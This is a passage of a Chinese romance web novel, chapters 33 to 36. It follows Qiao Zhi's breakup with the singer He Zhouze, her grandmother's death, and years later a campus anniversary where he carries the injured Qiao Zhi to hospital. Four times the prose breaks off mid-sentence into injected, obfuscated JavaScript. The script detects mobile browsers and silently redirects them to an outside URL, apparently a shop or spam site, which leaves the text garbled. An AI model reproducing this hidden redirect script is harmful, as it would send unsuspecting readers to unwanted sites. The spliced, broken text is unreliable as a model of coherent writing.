他看了看眼前的女生,感觉有些眼熟,听到对方的话后想起来这是带乔之做实验的师姐。 但这个问题让他不由得一愣:乔之住院了? 这段时间他们每天都保持联系,但她从未和他提起过。 何舟泽的眸子闪了闪,却没否认:“对。不过她没跟我说是哪间病房,我刚准备打电话问她。” 师姐摆摆手道:“没事,我也是来接她出院的。你跟着我就行。” 江大的校医院基本科室齐全,常有外部专家坐诊,但总体占地不大,仅有两幢楼。 何舟泽跟着师姐坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“音乐社的学弟预订了我们这间活动室,听说他们也有几个人想组乐队。人还没搬进来,就先给门锁报修了。” 乔之顺着他的目光看向那扇承载了无数秘密的木门,思绪万千。 何舟泽看见乔之手中的小米粥,心里有什么在翻涌着,他开口道:“师姐说,你落水了。” 他一直在等乔之主动开口,可是对方始终一副不以为意的表情,只是“嗯”了一声,丝毫没有要展开的意思。 “小夏告诉我,你前段时间准备申请,心情一直不太好。” 连旁人都能看出来,可是他却不在她的身边,她也从未和他说过一丝一毫。 乔之低头默默喝粥,不想继续这个话题:“都过去了。” 依旧是那副淡淡的神情。 何舟泽忽然有些生气,生乔之的气,也生自己的气。 “乔乔,我是你的男朋友。很抱歉这段时间没有陪在你身边,但是我们说过要彼此坦诚,不是吗?你为什么什么都不告诉我……” 乔之忽然有些没由来地烦闷,打断了他:“经纪人想要你和我分手,你不也没告诉我吗?” 何舟泽怔住了,原来她早就知道了。 他哑声道:“……你是因为这个,所以在生我的气吗?” 可是当他看向乔之时,她的眼睛里什么都没有。没有难过,也没有生气,连一丝波动都没有。 何舟泽忽然发现,原来他以为的透明关系只不过是一层玻璃外壳,再往里看,是他们都不曾拨开的迷雾。 33.第三十三章·大学line 乔之收起了外卖盒,垂眼道:“我没有生气。” 她的声音里没带什么温度,让何舟泽想起两人初识之际,也是这样陌生。 她继续说道:“做自己想做的事,这没什么不对的。” 何舟泽着急解释:“这是两码事。” “这是一码事。”乔之镇定反驳,“你会为了我放弃音乐吗?” 乔之这话一问出口,又觉得答案丝毫不重要了。是与否,都不是她想要听见的。 她道:“音乐对你来说那么重要,所以你才会一直纠结。而我也有自己想做的事。” 她闭上了眼睛,无数记忆碎片闪过,温暖的、发光的、难以忘怀的,同样也仿佛易碎的。 乔之不想成为那个被碎片刺伤的人,所以她抬眼,在何舟泽说话前开了口:“何舟泽,我们分手吧。” 乔之的话仿佛惊雷,震得何舟泽半晌没反应过来:“……什么?” “我拿到offer了,最近一直在忙毕设和出国的事情,没有多余的精力应付你的情绪了。”乔之一字一句都说得清晰,“我们俩在一起对彼此都没有好处。” 她镇定得好像在说:“今天的外卖口味很一般。” 何舟泽轻笑了一声,似乎不敢相信自己的耳朵:“你的意思是,我成了你的阻碍吗?” 紧接着,乔之给了一个冰冷的答案。 她说:“是。我们应该走该走的路,过好自己的人生。何舟泽,我不想再和你有关系了。做你的女朋友,我后悔了,我一点都不开心。” 他见乔之神色如常,仿佛是说了一个不大不小的玩笑话。他盯着她看,似乎想要找出一丝可疑的破绽,却终究是失败了。 乔之亲手画下了他们的句点,毫无预兆地宣判了这个故事的终章。 那天以后,乔之再也没见过何舟泽。 她亲手删掉了和他有关的一切,包括因他相识的那些朋友的联系方式。她似乎决心要将他从她生活中移除、抹净。 乔之没再主动了解过何舟泽的资讯,但却不可避免地总是听到他的名字。他又上了几档音综,参演了两个大型音乐节。 关于他的讨论更甚从前,只不过她终于变成了局外人。 毕业前几周,乔之在女寝楼下碰见了夏安语。 对方先叫住了她:“乔……乔之。” 夏安语的穿衣打扮变得稳重成熟。虽然建筑系要读五年,但乔之听说她已经开始实习。 乔之点点头,等待对方说话。 夏安语从包里抽了一张A4大小的海报,上面写着“毕业音乐会”几个大字。 她看起来很犹豫,但最终还是开了口:“这周六的毕业音乐会有乐队演出,可能是最后一次了。虽然你和……分开了,但我还是希望你能抽空来看看。” 乔之接过那张海报,看见“同味素”的节目被列在了极其显眼的位置。海报右下角有乐队三人的剪影,何舟泽站在中间的位置,脸上挂着自信又璀璨的笑容。 她的心几不可闻地重跳了几下,然后她抬头微笑:“有时间的话。” 周六那天,乔之没有别的事情,但她还是失约了。她早早地躲到了实验室,却碰上来做实验的师姐。 对方看见她,惊讶地问:“你怎么还来实验室?不是都答辩过了吗?” 乔之心中空落落的,她勉强扯出一个笑容,借口道:“吴老师说我的毕业论文可以试着投个稿,我来找他聊聊。” 师姐更奇怪了:“可是吴老师这周出差啊,他没跟你说?” 轻易就击碎了她的谎言。 乔之也不知道自己在想什么,只觉得心里一团乱麻。她嘴上随口搪塞:“哦……我以为他今天就回来了,谢谢师姐提醒。那我先走了。” 她失神地走出海洋楼,骑上车不知道要往什么方向去。 音乐会的位置还是在小剧场附近的那片草坪,乔之听见震天响的音乐时,才意识到自己不自觉地就来了这边。 过去她常常在做完实验后,从海洋楼走到小剧场找何舟泽吃晚饭。 这么多年的习惯,早就刻在了潜意识里。可是不知道为什么,现在她却没有勇气停下来,走过去看一看他们最后的演出。 乔之远远地路过音乐会现场,经过时加快了骑车速度,逃也似的想要避开什么。 隐约间,她还是听见了何舟泽的声音,他说:“祝大家前程似锦。” 所有人似乎都抱着前程似锦的美好愿望迎来了毕业季。乔之就这样结束了大学四年的生活,从江大毕业了。 听说,何舟泽因为行程冲突,没来参加毕业典礼,连毕业证都是朋友代领;听说,他的粉丝已经几百万;听说,他似乎要拿今年的最佳新人奖。 离校那一天,乔之收到了一则匿名短信,那个人说:“乔乔,毕业快乐。” ——陌生的号码,熟悉的称呼。 乔之的眼泪在黑夜里决堤。 - 这一年,江临的雨季格外漫长,连绵不绝的雨水一直下到了七月份仍不见停息。 家里的蔬菜快吃完了,外婆喊了乔之几声,想叫上她一起出门去买,但乔之不情愿在雨天出门。因为空气中都是散不去的潮热滋味,附在皮肤上就像是生了根,怎么也掀不去这腐朽的气味。 她恹恹地躺在床上,没起身。 外婆想着她快要出国,便难得由着她去了,自己拎起小菜篮出了门。 ——就这么一下,出事了。 乔之的房间离家门口不远,她隐隐听见一声闷响,而后是外婆的惊叫。 她赶紧拉开门,却看见刚刚那个大力拍她房门的小老太摔在了楼梯脚,此时已没有动静。 “外婆——”她飞奔似的冲了下去,却看见老人的额角被撞出了一小滩血。 乔之顿时慌了神,她努力咬住下唇,想让自己冷静下来。 她颤抖着拨打了120,等待救护车的过程中,无数后悔的念头闪过脑海——如果她那时候答应一起出门就好了,如果她主动出门买菜就好了,如果……可是没有如果。 乔希赶到医院时,看见自己向来镇定从容的女儿已是泪流满面:“外婆好像不行了。” 抢救室外人来人往,却安静得只能听见乔之的呜咽声。 这么多年来,她头一次抱住了乔之,她拍了拍她的后背,安抚道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489712|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“不会的,外婆会挺过去的。” 然而外婆在手术室捡回了一条命,却没能挺过一周。 她年轻时是长跑运动员,本就是一身伤病。眼下年纪大了,又磕碰到了脑袋,论谁都回天乏术。 在乔之二十二岁这一年夏天,她失去了这个世界上唯一一个始终陪在她身边的人。 后来的事情,她都记不清了。乔之只记得江临的雨湿冷,紧紧贴上了她,她好像永远都甩不开那团暗淡的灰色雾气了。 八月第一个晴天,乔希走进乔之的房间,看见失魂的女孩靠在床头,眼睛里仍是空无一物。 她想了个委婉的措辞,开口道:“乔乔,你想不想早一点去美国?” 乔之抬眼,看见眼前的女人脸上挂着紧张的神色,当即便误会了:“不好意思,这段时间给你们添麻烦了。” 礼貌疏离得不像母女。 外婆去世后的这半个多月,乔希担心乔之触景生情,便让她搬来和自己住。但是她看起来始终无法走出来,终日浑浑噩噩。 乔希听见她这话,不由得有些心痛,她急忙解释:“不是的,不麻烦。我只是在想,或许换个环境,你的心情会好一点……” 终是没有一起生活过,彼此都读不懂对方的内心。 乔之叹了口气:“您说的有道理,我会改签的。” 最后订了一周后的机票。 她离开的那天,江临的雨季终于结束了。 久未放晴的天空如一匹上等丝绸,蓝得澄澈纯粹,好像过去两个月未曾被一场来势汹汹的雨侵占污染。 乔之告别了前来送行的乔希和姜永望,也告别这场洗礼了她青春的大雨。 - 南加的气候很好。圣地亚哥是一座海边小城,不常下雨,总是阳光明媚。乔之很少再想起江临的雨,很少再想起那些发生在雨中或雀跃或心碎的瞬间。 博二开学初,乔之的室友Kylie拉着她看一个视频。 Kylie是美籍华裔,从小在加州长大,却很关注亚洲娱乐圈,常听华语歌和kpop,甚至比乔之还要了解。 “Jo,快来看这个视频,这首歌最近好火。”Kylie打开了电视上的YouTube软件。 乔之正在厨房洗碗,开放式的厨房能一眼看见客厅,但她这个角度看不清电视上的字。她撕了张厨房纸,一边擦着手上的水,一边走出来问道:“什么歌?” Kylie按了按遥控器,点开了视频。最开始是个舞台远景,乔之看了眼标题,感到陌生。 前奏走过,视频中央出现了一个年轻歌手。他穿着白T牛仔裤,最简单的装束,却让她无法再移开眼。 Kylie继续说着:“这个歌手好像和你一个学校毕业的,你认识吗?他叫何……chou ze?” 她的母语是英语,说中文时带着一丝口音,“何舟泽”这三个字不符合她惯常的发音习惯,卡顿了好一会儿。 乔之深呼一口气,露出一个毫无破绽的微笑,字正腔圆地接道:“何舟泽。他以前在我们学校很有名。” 她时隔一年再次提起他的名字,终于好像一个陌生人。 34.第三十四章 清晨的第一缕阳光穿过纱帘掉入房中,乔之从梦中醒来。她摸了摸自己的眼角,竟然是一片湿润。 她已经许多年未做过这样的梦,梦见那段她以为早就深藏的旧日时光。 江临下了一整周的雨。 多年前那个雨季里挥散不去的雾气,跨过时间阻隔,又一次困住了乔之。她自己还没察觉出来,身边的人却都看出了一点不对劲。某天开会结束后,连吴主任都来问她是不是出了什么事。 周五晚饭,祝声喊上乔之一起参加了学院里几个年轻老师的聚餐。 他们选了一家网红烤肉店,来吃饭打卡的大多是年轻人,店里人来人往的很热闹。 乔之一行有五六个人,选了个靠边的大桌,正对着挂在墙上的电视屏幕。 这个点赶巧在放新闻联播,主播字正腔圆地播报今日要闻,和店里欢腾的气氛格格不入,显得有些违和。 一桌人吃了很久。新闻联播早已放完,电视节目切成了一档音综。 乔之一直没注意电视内容,直到桌上一位女老师突然出声:“乔之,你是不是给这个歌手当过学术指导?” 她闻言,抬头看见电视上放着的正是何舟泽前段时间参加的音综《新声·旷野之声》。他的脸在屏幕中一闪而过,让她的心不由得乱了几分。 乔之飞快地收回目光,但语气还是很镇定:“对。” 不想,下一个舞台就是何舟泽的表演。 熟悉的旋律响起,不受控制地钻入她的耳朵——她在何舟泽的车上提前听过这首歌。彼时她还向他承诺一定会准时收看,没想到最后竟在机缘巧合之下赴了约。 “诶……”坐在身侧的祝声忽然发出了一声惊叹,“我才想起来,我之前听过这首歌。” 另一个老师接了句:“这是那个电影的主题曲嘛。我家小外甥有段时间天天唱。” 《明日之地》三年前在全球爆火,而且末世的主题下也涉及了不少海洋相关的剧情点,因此这一桌大部分人都看过这部电影。这首同名曲目当时更是火遍全国,一度占领各大音乐榜单前列,传唱度极高。 乔之小声纠正道:“好像是亚洲区的推广曲。” 祝声听到她这句,不动声色地碰了碰她的手肘,眉眼间写满了“还是你最了解”的调侃意味。 刚刚说话的老师也笑道:“没想到乔老师这么了解。” 几人都转头看向电视,乔之却仿佛动弹不得,只低头装作吃菜。 祝声评价道:“何舟泽还挺有才华的。原版就不错,这个改编也很有味道。” 她摇了摇乔之的手,于是乔之不得不也转过头去。不可避免的——她看见了屏幕中央的何舟泽,妆发精致、神情投入——那么熟悉又陌生。 明明她已经整理好了所有感情,可在看见他时,心依旧纷乱不已。 乔之脸上仍带着微笑,她说:“我其实对他的歌不是很熟悉,不太记得原版是什么样了。” 她生怕被人看出自己的局促不安。 有人跟着乔之说了句:“我跟你一样,只觉得好像有点不一样,但说不上区别,没那乐感。” 刚刚最先挑起话题的女老师笑说:“要不然怎么是祝声、不是我们几个代表学院去校庆表演呢。” 方才的舞台终究只是个小插曲,三言两语之后,话题又转了个弯,跑到了别处。 江大下周五要举办建校一百周年庆,当天除了典礼外还有一个晚会,每个学院都得上报节目,而祝声刚好是海院的演出代表。 祝声笑呵呵地翻动着烤盘上的牛肉:“徐老师别捧杀我了。又不是我独唱,这不是有一帮子人合唱嘛。” 说完了,她稍稍起身,给在座每一位都夹了一片肉,仿佛故意讨好道:“不过拜托各位那天在台下帮我拍照,吃了我烤的肉就不能推脱了!” 祝声的人缘一向很好,大家都乐意卖她个面子,纷纷跟着打趣。 “我去快餐店打工,时薪都有十几二十。怎么祝老师雇佣摄影师只用这么一小片肉?” 祝声赶紧又送过去满满一夹子的牛肉,笑道:“来来,多来点!这可是祝师傅的金牌手艺,价值高着呢。” 然后又给身旁的乔之也补了好几片,生怕乔之不乐意参加这种人多的大型活动,强调着:“乔乔,你也得来!我感觉你的拍照技术最靠谱。” 大家都知道她是开玩笑,但此话一出,当即又有人逗她,餐桌上笑作一团。 乔之的心被祝声的一番操作拉回了现实,仿佛已将刚刚的插曲抛之脑后。她真诚地笑道:“我一定到。” - 逢百年建校,江大将典礼举办得极为隆重。校庆当天,返校的校友不计其数。 观礼的位置按照入学年份分布,乔之周围都是上下几届的校友,她碰见了不少熟人。 典礼还没开始,大家三三两两围着聊天。 “今天余惜文院士也来了,我刚刚进场的时候看见她了。”说话的是乔之本科时的同班同学施悦。 另一个叫崔达的男生压低声音道:“不止呢,今天现场有好多院士。我刚刚听说云象集团的老总也来了。” 施悦惊道:“啊?他居然也是我们学校毕业的。” “你以为呢?咱们江大好歹也是全国数一数二的学校,大佬数不胜数,比如……” 此话倒是不假。江大作为百年名校,毕业生里出过的院士和行业领军人物两只手都数不过来。 方才还在盘点历届知名校友的崔达忽然停住了,说道:“不过这些都是大前辈了,我们这几届好像都没什么人闯出名头。” 他们这几届才毕业五六年,绝大多数人都还在事业起步阶段,确实和前辈们比不了。 崔达转过来看向乔之,开了个玩笑:“乔之,咱们就等着你评院士了!” 话题突然转到自己身上,乔之不由得一愣,紧接着谦虚道:“不敢当。” 施悦还在努力回顾近几届的校友。她沉吟了片刻,倒是说出了几个通过创业闯出一番天地的名字。 末了,她忽然小声地补了句:“我们届不是还有那个……何舟泽吗?” 毕业这么多年,还记得乔之和何舟泽关系的人已经不多,但施悦和乔之是同班同学,脑子里还留了个印象,所以她在乔之面前说得极其犹豫。 不过崔达显然不知情,他握拳一敲手掌,恍若被点醒:“哦对,我怎么把他给忘了。不过他今天应该没来吧?” 说着还环视了一周。 施悦见乔之的表情没什么变化,但到底是在社会上摸爬滚打过几年的人,知道前任不是个合适的话题,于是她圆滑地将话头拐了个弯:“别看了,大明星跟我们也扯不上什么关系。我们还是等着乔之早日当上院士,苟富贵勿相忘!” 乔之再次被点到,只好笑说:“借你吉言。” 校庆典礼办得隆重盛大,不过流程还是中规中矩——校史回顾、领导致辞、校友代表发言、在校生代表发言。 刚刚施悦提到的余惜文院士是几位校友代表之一,她当年被评为科学院院士时还不到四十岁。作为史上最年轻的女性院士,她被不少媒体报道过,近年来更因为几次出圈言论为大众所熟知。 施悦冒着星星眼,感慨道:“余院士好有气质,待会儿我要找她合照。” 乔之看向主席台,余惜文院士气质如兰,举手投足都十分从容优雅。她的发言回顾了自己在江大的求学生活,以及一路以来遇到的挫折和质疑,内容有趣又生动。 余院士致辞完毕后,台下掌声雷动。 施悦附在乔之耳边低声道:“你毕业的时候是不是余院士拨穗的?” 这一番话让乔之想起来,本科毕业典礼上,刚好就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498846|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余惜文院士给她拨的穗。每个拨穗加合影时间不过短短几秒,但乔之记得余院士当时还拍拍她的肩,对她说:“小姑娘,我知道你,你是老吴的得意门生,今后也请继续努力!” 后来她才知道吴裕和余惜文是本科同学,读到博士才分别流向了海洋生物学和分子生物学。 乔之点点,引得施悦投来好几个羡慕的眼神:“那你肯定有合照。” 典礼一结束,施悦立马丢下乔之,跑去找余院士合影。乔之没跟过去挤,径直顺着人流退场。 不过刚走出操场,她就碰到了一个意想不到的人。 对方穿着一身商务休闲装,米白色的宽松西装外套配同色系的直筒裤让她看起来很知性,气质和过去似乎大有不同。 但是对方一开口,乔之马上就认了出来。 温言惊喜道:“乔之?好久不见!” 她从包里翻出手机,点开微信说:“你原来的微信号是不是不用了?我们重新加个好友吧。” 乔之带着歉意一笑,解释说:“我到美国不到一周就丢了手机,所以原来的号登不上了。” 正是这个意外,让她加速清理了所有与大学四年有关的回忆,也让她更快地将何舟泽从她生活中移除。 温言一边扫着二维码,一边说道:“那真的太倒霉了。还好我们今天能遇上,也算是缘分。” 乔之笑了笑,表情毫无破绽地说:“还好,那时候正好要换手机了。” 也正好要告别过去。 温言见她这副模样,也弯起了眉眼,和从前一样明媚。 她感慨:“你还真是和以前一样处事不惊,天塌了都一笑了之。” 两人一起走了一小段路,温言问乔之:“你等会儿有人约吗?要不要一起吃晚饭,我们这么久没见了,饭后正好还能一起去看晚会。” 乔之没有其他安排,点头答应:“好,我也有点饿了。” 最后温言选了附近一家茶餐厅,刚坐下她就忍不住吐槽:“我好久没来这边了。大学的时候我和邵明喻经常来这家店,这次本来说好了一起来回味回味,但是他晚上有个节目,这会儿赶着去彩排。” 乔之闻言有些惊讶,她自然没忘记当年邵明喻在跨年晚会上当众表白的惊人之举,但没想到他们两人竟然还在一起。 温言看出了她表情中的讶异,笑说:“没想到我还和那个傻子在一起吧?说实话,我也很诧异。” 感慨完她又想起了什么,忽然顿住了。 她学的是新闻专业,毕业后一直都在这个行业里打转,自然清楚何舟泽现在是单身状态。她生怕自己多说一些什么会让乔之尴尬。 她倒了两杯茶水,推了一杯给乔之,换个话题问道:“你现在在哪上班?” 乔之道了声谢,说:“我在江大当老师。学姐,你呢?还在当记者吗?” “早就辞职了。”温言喝了口水,叹气道,“传统新闻业太难了,我现在在做自媒体。” 乔之听见这个回答,倒是不觉得意外,只是有些好奇:“什么类型?” 温言翻了翻手机,给乔之看自己的个人主页:“我主要做科普类视频。说到这,你可是海洋专业的专家,希望以后可以请教你!” 乔之扫了几眼温言发布的视频,其中海洋方面的科普的确占了很大的比重,而且数据很不错。她想起来温言在大学时就对海洋很感兴趣,两个人刚认识那会儿,她还常常抓着她问这问那。 乔之在自己手机上给温言的账号点了个关注,微笑道:“没问题。” “哦不过——”温言话音一转,“你也可以试一试录这种视频!” 乔之怔了怔:“……我吗?但是我不太能在镜头前开口说话。” 温言双手合十,一脸期待道:“我感觉真的可行!你又好看又专业,没人比你更适合做科普了!” 35.第三十五章 校庆晚会的场地在大礼堂,两人吃完后一路走回去。温言又碰见几个朋友要叙旧,乔之便与她分开了。 那天说要来给祝声拍照的几个同事都来了,顺便给乔之也留了个位置。大礼堂场子大,她费了点功夫才找到人。 海院的节目被排在了很后头,前面的表演大多迎合恭贺江大校庆的主题,正式盛大,但也并不出彩。 她在台下坐得有些困乏了,正巧身边的同事徐沐也打了个哈欠,正小声嘟囔着:“怎么还没到咱们学院的节目?我都困了。” “下一个就是。”乔之递过去一张节目单,对方借手机屏幕上的微弱亮光凑近看上面的字。 “嗯?最后还有一个神秘演出。”徐沐指了指节目单最下方的一行小字。 乔之刚刚只是数了数祝声的节目在第几个,没往下面看。听徐沐这么说,才发现今晚还有一个神秘的压轴节目。 她心里莫名升起奇怪的预感,这个神秘嘉宾会是何舟泽吗? 想到这,她又摇了摇头。何舟泽这种级别的歌手如果真的来了,不可能没人发现。 转眼就到了海院的合唱节目,几排师生按序在舞台上站好。 乔之一眼就看见了站在第一排中央的祝声,她穿着统一的红色连衣裙,裙摆处的亮片一闪一闪。 “还真没见过祝声穿得这么喜庆,太搞笑了。”徐沐举起手机连拍了好几张。 乔之见她一顿抓拍,光顾着把人圈进镜头,却丝毫不管其他。 她笑了一声:“徐老师是打算给她做表情包吗?” “美照不是有你吗?”徐沐也跟着“嘿嘿”笑了声,她和祝声的关系不错,所以手上一点没留情面,“我要来点不一样的。” 海院的节目选曲和编排都中规中矩,但领唱的几位老师算得上是实力唱将,引得台下掌声连连。 徐沐狂拍着双手,惊喜道:“没想到老王唱歌这么牛,实力男高音啊!” 乔之笑着应了几句,低头给祝声传照片。 礼堂里坐了上百人,室内信号不好。乔之发的原图很大,等下一个节目表演完了才传出去一张。 那边的祝声这会儿大概正在休息,消息回得很快。 【海洋界不知名人士:等半天了呢,还以为你们爽约。】 【Jo:哪敢,我们几个刚刚一直举着手机没放下来。礼堂里网不好,还有很多张正在加载。】 【海洋界不知名人士:这一张就很有水平[星星眼.jpg],你让徐沐他们也记得发我呗。】 乔之轻轻拉了拉身旁的徐沐,指指屏幕上的消息。徐沐瞄了眼,做了个“OK”的手势,转头又继续看节目了。 这期间,祝声又发来了几条消息。 【海洋界不知名人士:无奖竞猜,你知道我在后台看见谁了吗?】 【海洋界不知名人士:何舟泽!】 【海洋界不知名人士:没想到他今天也来了。】 信号一顿一顿的,祝声的对话框渐次出现在屏幕中。她带来的消息重重地砸醒了乔之,方才的困倦顷刻间便不见了踪影,只剩下失神的慌张。 她下意识地想逃。 然而已经要来不及了。 主持人故作神秘地卖了会儿关子后揭开谜底:“最后,我们邀请到一位神秘嘉宾为母校献唱。有请——何舟泽!” 台下立刻骚动起来,掌声比此前任一时刻都要雷动。 徐沐兴奋地鼓掌:“今晚居然把这位请过来了。” “徐老师……”乔之抓起自己的包,语气中尽是慌乱,“我突然有点急事,先走一步了。” “诶!难得能看大明星的现场,你不看完了再走吗?”徐沐正准备叫住她,却见乔之飞快地离了席。 边上另一个同事见乔之中途离场,问了句:“乔老师怎么走了?” 徐沐摆摆手道:“不知道,说是有急事。这都最后一个节目了。” 乔之脚底生风一般,弯腰往观众席最后面的出口走。 ——可是,好像还是没躲开。 当她逃跑一般地走到出口处时,余光里却看见了已经上台的何舟泽。然后,她听见了他的声音:“大家好,我是何舟泽。” 尾音被台下的欢呼声淹没,却还是清晰地传入了乔之的耳中。 - 乔之失神地在礼堂外游走,她不知道自己为什么会这么害怕再次见到他。明明要决裂的人是她,就连最初提分手的人也是她,可是她这段时间却好像总是很容易被他扰乱心绪。 即便何舟泽答应了她不再联系,他的歌、他的名字也依旧会以各种各样的方式出现在她的生活里,让她避无可避。 大礼堂和小剧场相毗邻,两栋建筑之间用一条玻璃长廊相连。 乔之一不留神就走到了小剧场楼下,她平时很少来这边,这是回国后第一次离得如此近。 她抬头看了看三楼某处玻璃窗,窗帘半开着,里面没有亮光——那个房间是他们曾经的活动室,不知道如今承担着怎么样的职责。 那里是何舟泽音乐事业起步的舞台,也是他们分手的地方。 那晚之后,那些乔之以为早就埋藏的久远记忆开始不断地翻涌,有时复现在梦里,有时闪现在他们一起走过的大街小巷。 她挫败地发现,原来这么多年,她也未曾忘记过他。 乔之甩了甩头,想要把乱成麻的思绪清理出脑子,却没注意路口突然窜出了一辆电瓶车。 骑车的是个女生,看起来娇小,车却开得很猛,一时没刹住就往乔之身上撞了过来。 乔之紧急避让,却还是被带到了地上。她的膝盖擦着水泥路滑了半米,瞬间就留下了一道长长的骇人伤疤。 “对不起!”那个女生赶紧下车跑过来,“我刚刚没看到你。” 乔之被撞得头晕眼花,疼得说不出话。 女生瞧见她膝盖上的擦伤,看着实在是有些吓人。她紧张得眼角都快要挤出泪花,颤巍巍地问:“怎……怎么办?你还好吗?” 这时候,校庆晚会似乎也已经结束了。观众陆陆续续从大礼堂里走了出来,见路边坐着个人,一时间都围了过来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13516388|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 乔之好一会儿才缓过来,忍着疼对眼前那个急得团团转的女生说:“……能扶我起来吗?” 女生赶紧上前,试着搀扶她起来,没想到乔之轻轻“嘶”了一声,却怎么都站不起来。 乔之这会儿才感觉到自己的脚完全使不上劲。她低头一看,才发现右脚的脚踝在短短几分钟里就已经肿的不像话了。刚刚先被膝盖上的疼痛感吸引了注意力,没察觉这儿也受了伤。 人群纷纷上前地询问着出什么事了。 有个学生似乎认出了她,提议道:“乔老师,你还是先别走动了。要不先叫个救护车吧?” “今天校庆,学校附近很堵。救护车可能来得没那么快。” “我有校医院的急救电话,有需要的话我可以打过去。” 还有人细心地递过来几片湿巾:“老师,你先擦擦手。” 撞人的女生已经没忍住哭了出来,连连道歉:“老师,对不起。出什么事我会负责的,真的很抱歉。” 事情发生得太过突然。 乔之刚刚走路分神,也有一部分责任。她看正在哭泣的女生看起来年纪不大,可能也就大一大二,一脸稚嫩。 乔之柔声安慰她道:“没事,应该是扭伤了。只是看起来严重。” 乔之坐在路边,样子其实很是狼狈,可她非但没厉声指责,还反过来安抚肇事者,看得围观群众都有些动容。 提出帮助的人更多了,七嘴八舌的声音吵得乔之头都疼了。她刚想抬头谢绝他们的好意,准备自己给校医院那边打个电话,突然见不远处有更多人涌了过来,引得大家纷纷回头。 乔之看见那个她千方百计想要躲开的人,此时正拨开人群走过来。 他没做任何的伪装,一张瞩目的脸明晃晃地露在人前。 方鸣替何舟泽挡着挤过来的人,一边高声问着:“怎么了?发生什么事了?” 众人见何舟泽过来了,争先向他解释事情的经过,不少人还拿出了手机对着他拍照。 但周围的一切似乎都成了虚影,乔之只看见何舟泽蹲下身,盯着她关切地问道:“还能站起来吗?” “……可能不行。”乔之侧头回避他看过来的目光,低声道。 何舟泽也看见了她红肿的脚踝,顿了两秒钟:“我有车,我送你去医院。” 他没等乔之回答,当即便将她打横抱了起来。 人群瞬间发出惊呼。 方鸣见何舟泽毫无顾忌的行事,扶额叹了口气。 他像是早已习惯帮忙收拾烂摊子,立马就领着助理帮忙挡住围过来的人:“别拍了,都散一散、散一散,我们送这位老师去医院。” 车就停在路边,但短短几步路,乔之却觉得比马拉松还要漫长,眨眼间发生的事惊得她不敢动弹。 何舟泽干净利落的下颌线就在触手可及的地方,乔之的心仿佛被重锤敲打般猛地一跳。 她听见何舟泽用旁人听不到的声音轻轻道:“对不起,这次我又没能遵守承诺。” ——答应了不再靠近你的承诺。 36.第三十六章 晚上,一条名为“现场直击何舟泽英雄救美”的帖子以惊人的速度登上江临大学论坛十大热贴。 帖主附上了一张模糊不清的照片。镜头下路灯狭长的光晕占了大半个画面,但还是能隐约看出正中间穿着黑色外套的男人是何舟泽,怀里还抱了个女人。 帖子正文写道:“今天晚会结束后,有一个女生被电瓶车撞了,就在小剧场附近那个路口。何舟泽团队刚好路过,二话不说就把人送去了医院。大明星英雄救美,还是公主抱!何舟泽本人真的好帅!!” 几句话说得颠三倒四,看得出帖主本人遣词造句的能力属实一般,也有可能是发帖的时候过于兴奋。尽管如此,这条帖子还是迅速被顶上了十大,回帖源源不断。 【我也在现场。有一说一,今晚何舟泽帅到我了。】 【姐妹我也是!以前对何舟泽无感,这回路转粉了。】 【啊?为什么要公主抱啊,不能搀扶吗?是不是有点太那什么了…… 】 【你是不知道情况。当时那个女生的脚已经肿到站不起来了,而且膝盖也一直在流血,所以何舟泽当机立断就把人抱起来了。】 【那个不是学生,我好像听现场有人叫她老师。】 【对!是我们海院这学期刚来的新老师,人美心善!】 【偷偷分享一张我拍的高清大图[图片],答应经纪人不外传,但我们校内论坛不算外传,对吧对吧!】 当时方鸣虽然尝试了控场,但架不住人多,还是有很多人拍了照片。好在江大学生总体素质比较高,没人往外宣扬,只是在校内论坛里讨论这件事。 各种角度的照片被发在了这个帖子下,等乔之看到的时候,她已经做完了清创。 何舟泽就近找了家医院。乔之除了脚踝扭伤严重外,四肢都有不同程度的擦伤。因为担心感染,所以先给这些伤口做了处理,之后才去拍片子。 等拍片结果的过程中,乔之找了个地方坐下。何舟泽和方鸣都陪在她身边,不过这会儿到底已经在校外,何舟泽还是戴上了帽子和口罩。 好在是医院,戴口罩没那么突兀。 